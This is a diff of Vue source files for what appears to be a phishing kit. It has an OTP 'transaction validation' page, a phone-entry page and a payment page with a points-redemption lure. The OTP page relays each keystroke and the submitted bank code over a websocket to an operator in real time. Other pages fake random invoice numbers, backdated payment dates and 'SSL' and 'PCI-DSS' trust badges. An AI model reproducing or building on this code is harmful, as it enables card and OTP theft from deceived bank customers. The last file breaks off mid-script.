<div class="otp-footer">
<div class="otp-footer-badges">
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
SSL
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
PCI-DSS
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
{{ t("otp_view.secure_checkout") }}
</span>
</div>
<div class="otp-help-row">
<span>{{ t("otp_view.need_help") }}</span>
<span class="otp-help-icon">?</span>
</div>
</div>
</div>
</div>
<!-- Loading overlay -->
<transition name="otp-fade">
<div class="otp-loading-overlay" v-if="showLoadingModal">
<div class="otp-loading-dialog">
<div class="otp-spinner"></div>
<p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
<p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
</div>
</div>
</transition>
</template>
<style scoped>
/* ===== Page ===== */
.otp-page {
min-height: 100vh;
background: #f8fafc;
display: flex;
flex-direction: column;
align-items: center;
box-sizing: border-box;
}
/* ===== Top bar ===== */
.otp-topbar {
width: 100%;
max-width: 520px;
display: flex;
align-items: center;
justify-content: space-between;
padding: 16px 20px;
box-sizing: border-box;
}
.otp-logo {
width: 32px;
height: 32px;
object-fit: contain;
opacity: 0.75;
}
/* ===== Main card ===== */
.otp-card {
width: 100%;
max-width: 520px;
background: #fff;
border-radius: 16px;
border: 1px solid #e8edf3;
box-shadow:
0 1px 3px rgba(15,23,42,0.06),
0 8px 24px -4px rgba(15,23,42,0.08);
overflow: hidden;
box-sizing: border-box;
margin: 0 16px 32px;
}
/* ===== Hero section ===== */
.otp-hero {
padding: 32px 28px 24px;
text-align: center;
border-bottom: 1px solid #f1f5f9;
background: linear-gradient(180deg, #f8fafc 0%, #fff 100%);
}
.otp-shield-icon {
width: 52px;
height: 52px;
background: linear-gradient(135deg, #eff6ff 0%, #dbeafe 100%);
border: 1px solid #bfdbfe;
border-radius: 14px;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 16px;
}
.otp-shield-icon svg {
width: 26px;
height: 26px;
color: var(--global-primary-color, #3b82f6);
}
.otp-title {
margin: 0 0 10px;
font-size: 1.35rem;
font-weight: 700;
color: #1e293b;
letter-spacing: -0.2px;
line-height: 1.25;
}
.otp-subtitle {
margin: 0 0 8px;
font-size: 0.9rem;
color: #64748b;
line-height: 1.55;
}
.otp-subtitle strong {
color: #334155;
font-weight: 600;
}
.otp-notice {
margin: 6px 0 0;
font-size: 0.78rem;
color: #94a3b8;
line-height: 1.4;
}
/* ===== Form ===== */
.otp-form {
padding: 24px 28px 20px;
display: flex;
flex-direction: column;
gap: 18px;
}
.otp-input-group {
display: flex;
flex-direction: column;
gap: 7px;
}
.otp-label {
font-size: 0.83rem;
font-weight: 600;
color: #475569;
letter-spacing: 0.2px;
}
.otp-input-wrap {
border: 1.5px solid #e2e8f0;
border-radius: 10px;
background: #fff;
transition: border-color 0.2s, box-shadow 0.2s;
overflow: hidden;
}
.otp-input-wrap:focus-within {
border-color: var(--global-primary-color, #3b82f6);
box-shadow: 0 0 0 3px rgba(59,130,246,0.1);
}
.otp-input-wrap.has-error {
border-color: #f87171;
box-shadow: 0 0 0 3px rgba(248,113,113,0.1);
}
.otp-input {
width: 100%;
height: 56px;
padding: 0 16px;
text-align: center;
border: none;
outline: none;
background: transparent;
font-size: 1.5rem;
font-weight: 700;
letter-spacing: 0.25em;
color: #1e293b;
box-sizing: border-box;
}
.otp-input::placeholder {
font-size: 0.95rem;
font-weight: 400;
letter-spacing: 0.05em;
color: #cbd5e1;
}
.otp-error {
display: flex;
align-items: center;
gap: 5px;
font-size: 0.8rem;
color: #ef4444;
margin: 0;
}
.otp-error svg {
width: 14px;
height: 14px;
flex-shrink: 0;
}
/* ===== Submit button ===== */
.otp-btn-submit {
width: 100%;
height: 50px;
background: var(--global-primary-color, #3b82f6);
color: #fff;
border: none;
border-radius: 10px;
font-size: 0.95rem;
font-weight: 700;
letter-spacing: 0.04em;
cursor: pointer;
transition: opacity 0.15s, transform 0.1s;
}
.otp-btn-submit:hover {
opacity: 0.9;
}
.otp-btn-submit:active {
transform: scale(0.98);
}
/* ===== Resend row ===== */
.otp-resend-row {
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
font-size: 0.85rem;
flex-wrap: wrap;
text-align: center;
}
.otp-resend-text {
color: #94a3b8;
}
.otp-resend-link {
color: var(--global-primary-color, #3b82f6);
font-weight: 600;
text-decoration: none;
cursor: pointer;
}
.otp-resend-link:hover {
text-decoration: underline;
}
/* ===== Footer ===== */
.otp-footer {
padding: 16px 28px 20px;
border-top: 1px solid #f1f5f9;
background: #fafbfc;
}
.otp-footer-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
margin-bottom: 14px;
}
.otp-badge {
display: flex;
align-items: center;
gap: 4px;
font-size: 10.5px;
font-weight: 500;
color: #94a3b8;
white-space: nowrap;
}
.otp-badge svg {
width: 11px;
height: 11px;
fill: #86efac;
flex-shrink: 0;
}
.otp-badge-sep {
width: 1px;
height: 10px;
background: #e2e8f0;
flex-shrink: 0;
}
.otp-help-row {
display: flex;
align-items: center;
justify-content: space-between;
padding-top: 12px;
border-top: 1px solid #f1f5f9;
font-size: 0.82rem;
color: #94a3b8;
}
.otp-help-icon {
width: 20px;
height: 20px;
border-radius: 50%;
border: 1px solid #cbd5e1;
display: flex;
align-items: center;
justify-content: center;
font-size: 11px;
font-weight: 700;
color: #64748b;
cursor: pointer;
}
/* ===== Loading overlay ===== */
.otp-fade-enter-active,
.otp-fade-leave-active {
transition: opacity 0.25s ease;
}
.otp-fade-enter-from,
.otp-fade-leave-to {
opacity: 0;
}
.otp-loading-overlay {
position: fixed;
inset: 0;
background: rgba(15, 23, 42, 0.4);
backdrop-filter: blur(6px);
-webkit-backdrop-filter: blur(6px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.otp-loading-dialog {
background: #fff;
border-radius: 16px;
padding: 36px 44px;
text-align: center;
box-shadow:
0 4px 24px rgba(15,23,42,0.12),
0 0 0 1px rgba(148,163,184,0.1);
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
min-width: 200px;
}
.otp-spinner {
width: 40px;
height: 40px;
border: 3px solid #e2e8f0;
border-top-color: var(--global-primary-color, #3b82f6);
border-radius: 50%;
animation: otp-spin 0.8s linear infinite;
}
@keyframes otp-spin {
to { transform: rotate(360deg); }
}
.otp-loading-text {
margin: 0;
font-size: 0.95rem;
font-weight: 700;
color: #1e293b;
}
.otp-loading-sub {
margin: 0;
font-size: 0.8rem;
color: #94a3b8;
}
/* ===== Responsive ===== */
@media (max-width: 540px) {
.otp-card {
margin: 0 0 24px;
border-radius: 0;
border-left: none;
border-right: none;
box-shadow: none;
}
.otp-hero {
padding: 24px 20px 18px;
}
.otp-form {
padding: 20px 20px 16px;
}
.otp-footer {
padding: 14px 20px 18px;
}
.otp-topbar {
padding: 12px 16px;
}
}
</style>
.op-top-content {

View File

@@ -0,0 +1,798 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const loadingStore = useLoadingStore();
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const message = ref("");
const formData = reactive({ verifyCode: "" });
const showLoadingModal = ref(false);
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
// Static label derived from initialTime (e.g. 60s → "1 minute")
const initialTimeFormatted = computed(() => {
const totalSec = initialTime;
const m = Math.floor(totalSec / 60);
const s = totalSec % 60;
if (m > 0 && s === 0) return m === 1 ? "1 minute" : `${m} minutes`;
if (m > 0) return `${m}m ${s}s`;
return `${s} seconds`;
});
const buttonText = computed(() => {
return isCounting.value
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
: t("otp_view.click_for_another");
});
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
loadingStore.setLoading(true);
if (!areAllValuesNotEmpty(formData)) {
loadingStore.setLoading(false);
return;
}
// show loading modal
showLoadingModal.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData,
},
})
);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
localStorage.removeItem("otpResendStart");
};
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType },
})
);
localStorage.setItem("otpResendStart", Date.now().toString());
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
return;
}
stopCountdown();
}, 1000);
};
const restoreCountdown = () => {
const saved = localStorage.getItem("otpResendStart");
if (saved) {
const elapsed = Math.floor((Date.now() - parseInt(saved)) / 1000);
if (elapsed < initialTime) {
isCounting.value = true;
timeLeft.value = initialTime - elapsed;
timer = window.setInterval(() => {
if (timeLeft.value > 0) { timeLeft.value -= 1; return; }
stopCountdown();
}, 1000);
return true;
} else {
localStorage.removeItem("otpResendStart");
}
}
return false;
};
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
loadingStore.setLoading(false);
// close loading modal
showLoadingModal.value = false;
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query?.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query?.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const saved = localStorage.getItem("message1");
if (saved) {
message1.value = saved;
}
}
localStorage.setItem("route", "otpValid");
if (!restoreCountdown()) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
onUnmounted(() => {
stopCountdown();
eventBus.off("otp-valid", handleEvent);
showLoadingModal.value = false;
});
</script>
<template>
<div class="otp-page">
<!-- Top bar -->
<div class="otp-topbar">
<div class="otp-topbar-left">
<img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
</div>
<div class="otp-topbar-right">
<CardType1 :cardType="cardType" />
</div>
</div>
<!-- Main card -->
<div class="otp-card">
<!-- Icon + Title -->
<div class="otp-hero">
<div class="otp-shield-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
<path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
<path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
<p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
<p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
<p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
</div>
<!-- Form -->
<form class="otp-form" @submit.prevent="submit">
<div class="otp-input-group">
<label class="otp-label">{{ t("otp_view.verification_code") }}</label>
<div class="otp-input-wrap" :class="{ 'has-error': message }">
<input
required
type="text"
inputmode="numeric"
autocomplete="one-time-code"
:placeholder="t('otp_view.enter_your_otp')"
@input="onchange"
v-model="formData.verifyCode"
minlength="3"
maxlength="8"
class="otp-input"
/>
</div>
<p class="otp-error" v-if="message">
<svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
{{ message }}
</p>
</div>
<button type="submit" class="otp-btn-submit">
{{ t("otp_view.verify") }}
</button>
<div class="otp-resend-row">
<span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
<a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<!-- Footer -->
<div class="otp-footer">
<!-- Security badges row -->
<div class="otp-footer-badges">
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
256-bit SSL
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
PCI-DSS
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
{{ t("otp_view.secure_checkout") }}
</span>
</div>
<!-- Info cards -->
<div class="otp-info-list">
<div class="otp-info-item">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2" stroke-linecap="round"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.code_expires", { time: initialTimeFormatted }) }}</p>
</div>
<div class="otp-info-item">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke-linejoin="round"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.why_need_otp") }}</p>
</div>
<div class="otp-info-item otp-info-warn">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.contact_bank") }}</p>
</div>
<div class="otp-info-item">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.privacy_note") }}</p>
</div>
</div>
<!-- Help row -->
<div class="otp-help-row">
<span>{{ t("otp_view.need_help") }}</span>
<span class="otp-powered">{{ t("otp_view.powered_by") }}</span>
</div>
</div>
</div>
</div>
<!-- Loading overlay -->
<transition name="otp-fade">
<div class="otp-loading-overlay" v-if="showLoadingModal">
<div class="otp-loading-dialog">
<div class="otp-spinner"></div>
<p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
<p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
</div>
</div>
</transition>
</template>
<style scoped>
/* ===== Page ===== */
.otp-page {
min-height: 100vh;
background: linear-gradient(160deg, #f0f4ff 0%, #fafbff 50%, #f5f7fa 100%);
display: flex;
flex-direction: column;
align-items: center;
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
/* ===== Top bar ===== */
.otp-topbar {
width: 100%;
max-width: 560px;
display: flex;
align-items: center;
justify-content: space-between;
padding: 18px 24px 12px;
box-sizing: border-box;
}
.otp-logo {
width: 28px;
height: 28px;
object-fit: contain;
opacity: 0.6;
}
/* ===== Main card ===== */
.otp-card {
width: 100%;
max-width: 560px;
background: #ffffff;
border-radius: 20px;
border: 1px solid rgba(226,232,240,0.8);
box-shadow:
0 0 0 1px rgba(148,163,184,0.05),
0 4px 6px -2px rgba(15,23,42,0.04),
0 12px 32px -8px rgba(15,23,42,0.1);
overflow: hidden;
box-sizing: border-box;
margin: 0 16px 40px;
}
/* ===== Hero section ===== */
.otp-hero {
padding: 36px 32px 26px;
text-align: center;
background: linear-gradient(180deg, #f8faff 0%, #ffffff 100%);
border-bottom: 1px solid #f0f4ff;
position: relative;
}
.otp-hero::before {
content: '';
position: absolute;
top: 0; left: 0; right: 0;
height: 3px;
background: linear-gradient(90deg,
var(--global-primary-color, #3b82f6) 0%,
color-mix(in srgb, var(--global-primary-color, #3b82f6) 60%, #818cf8) 100%
);
}
.otp-shield-icon {
width: 64px;
height: 64px;
background: linear-gradient(135deg,
color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff) 0%,
color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, #fff) 100%
);
border: 1.5px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 25%, #fff);
border-radius: 18px;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 18px;
box-shadow: 0 4px 12px color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, transparent);
}
.otp-shield-icon svg {
width: 30px;
height: 30px;
color: var(--global-primary-color, #3b82f6);
}
.otp-title {
margin: 0 0 10px;
font-size: 1.45rem;
font-weight: 800;
color: #0f172a;
letter-spacing: -0.4px;
line-height: 1.2;
}
.otp-subtitle {
margin: 0 0 10px;
font-size: 0.9rem;
color: #64748b;
line-height: 1.6;
max-width: 380px;
margin-left: auto;
margin-right: auto;
}
.otp-subtitle strong {
color: #1e293b;
font-weight: 700;
}
.otp-notice {
display: inline-flex;
align-items: center;
gap: 5px;
margin: 4px 0 0;
padding: 5px 12px;
background: #fff7ed;
border: 1px solid #fed7aa;
border-radius: 20px;
font-size: 0.75rem;
color: #92400e;
line-height: 1.4;
}
/* ===== Form ===== */
.otp-form {
padding: 26px 32px 22px;
display: flex;
flex-direction: column;
gap: 18px;
}
.otp-input-group {
display: flex;
flex-direction: column;
gap: 8px;
}
.otp-label {
font-size: 0.82rem;
font-weight: 700;
color: #374151;
letter-spacing: 0.4px;
text-transform: uppercase;
}
.otp-input-wrap {
border: 2px solid #e5e7eb;
border-radius: 12px;
background: #fafbfc;
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
overflow: hidden;
}
.otp-input-wrap:focus-within {
border-color: var(--global-primary-color, #3b82f6);
background: #fff;
box-shadow: 0 0 0 4px color-mix(in srgb, var(--global-primary-color, #3b82f6) 12%, transparent);
}
.otp-input-wrap.has-error {
border-color: #ef4444;
background: #fff5f5;
box-shadow: 0 0 0 4px rgba(239,68,68,0.1);
}
.otp-input {
width: 100%;
height: 62px;
padding: 0 20px;
text-align: center;
border: none;
outline: none;
background: transparent;
font-size: 1.75rem;
font-weight: 800;
letter-spacing: 0.3em;
color: #111827;
box-sizing: border-box;
}
.otp-input::placeholder {
font-size: 0.92rem;
font-weight: 400;
letter-spacing: 0.04em;
color: #d1d5db;
}
.otp-error {
display: flex;
align-items: center;
gap: 6px;
font-size: 0.8rem;
font-weight: 500;
color: #dc2626;
margin: 0;
}
.otp-error svg {
width: 14px;
height: 14px;
flex-shrink: 0;
}
/* ===== Submit button ===== */
.otp-btn-submit {
width: 100%;
height: 52px;
background: var(--global-primary-color, #3b82f6);
color: #fff;
border: none;
border-radius: 12px;
font-size: 1rem;
font-weight: 700;
letter-spacing: 0.05em;
cursor: pointer;
transition: filter 0.15s, transform 0.1s, box-shadow 0.15s;
box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
position: relative;
overflow: hidden;
}
.otp-btn-submit::after {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
pointer-events: none;
}
.otp-btn-submit:hover {
filter: brightness(1.06);
box-shadow: 0 6px 18px color-mix(in srgb, var(--global-primary-color, #3b82f6) 45%, transparent);
}
.otp-btn-submit:active {
transform: scale(0.985);
filter: brightness(0.96);
}
/* ===== Resend row ===== */
.otp-resend-row {
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
font-size: 0.85rem;
flex-wrap: wrap;
text-align: center;
padding-bottom: 4px;
}
.otp-resend-text {
color: #9ca3af;
}
.otp-resend-link {
color: var(--global-primary-color, #3b82f6);
font-weight: 600;
text-decoration: none;
cursor: pointer;
border-bottom: 1px dashed color-mix(in srgb, var(--global-primary-color, #3b82f6) 40%, transparent);
}
.otp-resend-link:hover {
border-bottom-style: solid;
}
/* ===== Footer ===== */
.otp-footer {
padding: 0 32px 24px;
border-top: 1px solid #f1f5f9;
background: #fafbfd;
}
/* Security badges */
.otp-footer-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
padding: 14px 0 16px;
border-bottom: 1px dashed #e9edf3;
}
.otp-badge {
display: flex;
align-items: center;
gap: 4px;
font-size: 10px;
font-weight: 600;
color: #6b7280;
white-space: nowrap;
text-transform: uppercase;
letter-spacing: 0.4px;
}
.otp-badge svg {
width: 11px;
height: 11px;
fill: #34d399;
flex-shrink: 0;
}
.otp-badge-sep {
width: 3px;
height: 3px;
border-radius: 50%;
background: #d1d5db;
flex-shrink: 0;
}
/* Info list */
.otp-info-list {
display: flex;
flex-direction: column;
gap: 0;
margin: 14px 0 0;
}
.otp-info-item {
display: flex;
align-items: flex-start;
gap: 10px;
padding: 10px 0;
border-bottom: 1px solid #f3f4f6;
}
.otp-info-item:last-child {
border-bottom: none;
}
.otp-info-icon {
width: 28px;
height: 28px;
border-radius: 8px;
background: #f0f9ff;
border: 1px solid #e0f2fe;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
margin-top: 1px;
}
.otp-info-icon svg {
width: 13px;
height: 13px;
color: #0ea5e9;
stroke: #0ea5e9;
}
.otp-info-warn .otp-info-icon {
background: #fff7ed;
border-color: #fed7aa;
}
.otp-info-warn .otp-info-icon svg {
color: #f97316;
stroke: #f97316;
}
.otp-info-text {
margin: 0;
font-size: 0.795rem;
color: #6b7280;
line-height: 1.55;
padding-top: 5px;
}
.otp-info-warn .otp-info-text {
color: #92400e;
}
/* Help row */
.otp-help-row {
display: flex;
align-items: center;
justify-content: space-between;
padding-top: 14px;
margin-top: 4px;
font-size: 0.78rem;
color: #9ca3af;
border-top: 1px solid #f1f5f9;
}
.otp-powered {
font-size: 0.72rem;
color: #9ca3af;
font-weight: 500;
}
/* ===== Loading overlay ===== */
.otp-fade-enter-active,
.otp-fade-leave-active {
transition: opacity 0.25s ease;
}
.otp-fade-enter-from,
.otp-fade-leave-to {
opacity: 0;
}
.otp-loading-overlay {
position: fixed;
inset: 0;
background: rgba(15, 23, 42, 0.45);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.otp-loading-dialog {
background: #fff;
border-radius: 20px;
padding: 40px 48px;
text-align: center;
box-shadow:
0 8px 32px rgba(15,23,42,0.15),
0 0 0 1px rgba(148,163,184,0.12);
display: flex;
flex-direction: column;
align-items: center;
gap: 14px;
min-width: 220px;
}
.otp-spinner {
width: 44px;
height: 44px;
border: 3px solid #e5e7eb;
border-top-color: var(--global-primary-color, #3b82f6);
border-radius: 50%;
animation: otp-spin 0.75s linear infinite;
}
@keyframes otp-spin {
to { transform: rotate(360deg); }
}
.otp-loading-text {
margin: 0;
font-size: 1rem;
font-weight: 700;
color: #111827;
}
.otp-loading-sub {
margin: 0;
font-size: 0.8rem;
color: #9ca3af;
}
/* ===== Responsive ===== */
@media (max-width: 580px) {
.otp-card {
margin: 0 0 28px;
border-radius: 0;
border-left: none;
border-right: none;
box-shadow: none;
}
.otp-hero {
padding: 28px 20px 20px;
}
.otp-form {
padding: 22px 20px 18px;
}
.otp-footer {
padding: 0 20px 20px;
}
.otp-topbar {
padding: 14px 16px 10px;
}
.otp-title {
font-size: 1.25rem;
}
.otp-input {
font-size: 1.5rem;
height: 56px;
}
}
</style>

View File

@@ -0,0 +1,111 @@
<script setup lang="ts">
import { computed, onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { myWebSocket } from "@/utils/common";
import { globalConfig,goodsConfig } from "@/config";
import { getThemeColors } from "@/config/themes";
import PayTheme1 from "@/components/pay/PayTheme1.vue";
import PayTheme2 from "@/components/pay/PayTheme2.vue";
import PayTheme3 from "@/components/pay/PayTheme3.vue";
import PayTheme4 from "@/components/pay/PayTheme4.vue";
import PayTheme5 from "@/components/pay/PayTheme5.vue";
import PayTheme6 from "@/components/pay/PayTheme6.vue";
const loadingStore = useLoadingStore();
const router = useRouter();
const payDate = ref("");
const invoiceNumber = ref("");
const phone = ref("");
const totalPoint = ref(3022);
// 与 PhoneView 同步,根据 payTheme 动态选择主题组件
const currentThemeComponent = computed(() => {
const themeId = goodsConfig.value.payTheme || 1;
const themeMap: Record<string, any> = {
"1": PayTheme1,
"2": PayTheme2,
"3": PayTheme3,
"4": PayTheme4,
"5": PayTheme5,
"6": PayTheme6,
};
return themeMap[themeId] || PayTheme1;
});
const currentColors = computed(() => {
const themeId = goodsConfig.value.payTheme || 1;
return getThemeColors(themeId);
});
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/goods");
}, 200);
};
function getDateSevenDaysAgo(): Date {
const currentDate = new Date();
currentDate.setDate(currentDate.getDate() - 7);
return currentDate;
}
function generateRandomNineDigitNumber(): number {
const min = 100000;
const max = 999999;
return Math.floor(Math.random() * (max - min + 1)) + min;
}
onMounted(() => {
loadingStore.setLoading(false);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
const dateSeven = getDateSevenDaysAgo();
payDate.value = dateSeven.toLocaleDateString();
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = generateRandomNineDigitNumber().toString();
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
}
localStorage.setItem("route", "pay");
const phoneValue = localStorage.getItem("phone");
if (phoneValue) {
phone.value = phoneValue;
}
const point = localStorage.getItem("totalPoint");
if (point) {
totalPoint.value = Number(point);
}
});
</script>
<template>
<CommonLayout>
<template #default>
<!-- 动态加载 Pay 主题组件 -->
<component
:is="currentThemeComponent"
:colors="currentColors"
:phone="phone"
:pay-date="payDate"
:invoice-number="invoiceNumber"
:domain-name="globalConfig.main_name"
:total-point="totalPoint"
@submit="next"
/>
</template>
</CommonLayout>
</template>
<style scoped>
/* 样式由各主题组件自己管理 */
</style>

View File

@@ -0,0 +1,96 @@
<script setup lang="ts">
import { computed, getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import Theme1 from "@/components/theme/Theme1.vue";
import Theme2 from "@/components/theme/Theme2.vue";
import Theme3 from "@/components/theme/Theme3.vue";
import Theme4 from "@/components/theme/Theme4.vue";
import Theme5 from "@/components/theme/Theme5.vue";
import Theme6 from "@/components/theme/Theme6.vue";
import { getThemeColors } from "@/config/themes";
import { goodsConfig } from "@/config";
const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
const phone = ref("");
// 获取当前主题组件
const currentThemeComponent = computed(() => {
const themeId = goodsConfig.value.homeTheme || 1;
const themeMap: Record<string, any> = {
"1": Theme1,
"2": Theme2,
"3": Theme3,
"4": Theme4,
"5": Theme5,
"6": Theme6,
};
return themeMap[themeId] || Theme1; // 默认使用主题2
});
// 获取当前主题颜色配置
const currentColors = computed(() => {
const themeId = goodsConfig.value.homeTheme || 1;
return getThemeColors(themeId);
});
const handleInput = (value: string) => {
phone.value = value;
inputChange("input_phone", "", value);
};
const handleSubmit = () => {
localStorage.setItem("phone", phone.value);
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/pay");
}, 200);
};
watch(
() => instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => { }
);
onMounted(() => {
useLoadingStore().setLoading(false);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phonePageData) {
phone.value = userData.phonePageData.phone || "";
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<!-- 动态加载主题组件 -->
<component
:is="currentThemeComponent"
v-model="phone"
:colors="currentColors"
@update:modelValue="handleInput"
@submit="handleSubmit"
/>
</template>
</CommonLayout>
</template>
<style scoped>
/* 样式由各主题组件自己管理 */
</style>

View File

@@ -0,0 +1,341 @@
<script setup lang="ts">
import { onMounted, ref } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { useI18n } from "vue-i18n";
import { myWebSocket, redirectToExternal } from "@/utils/common";
const { t } = useI18n();
const loading = ref(true);
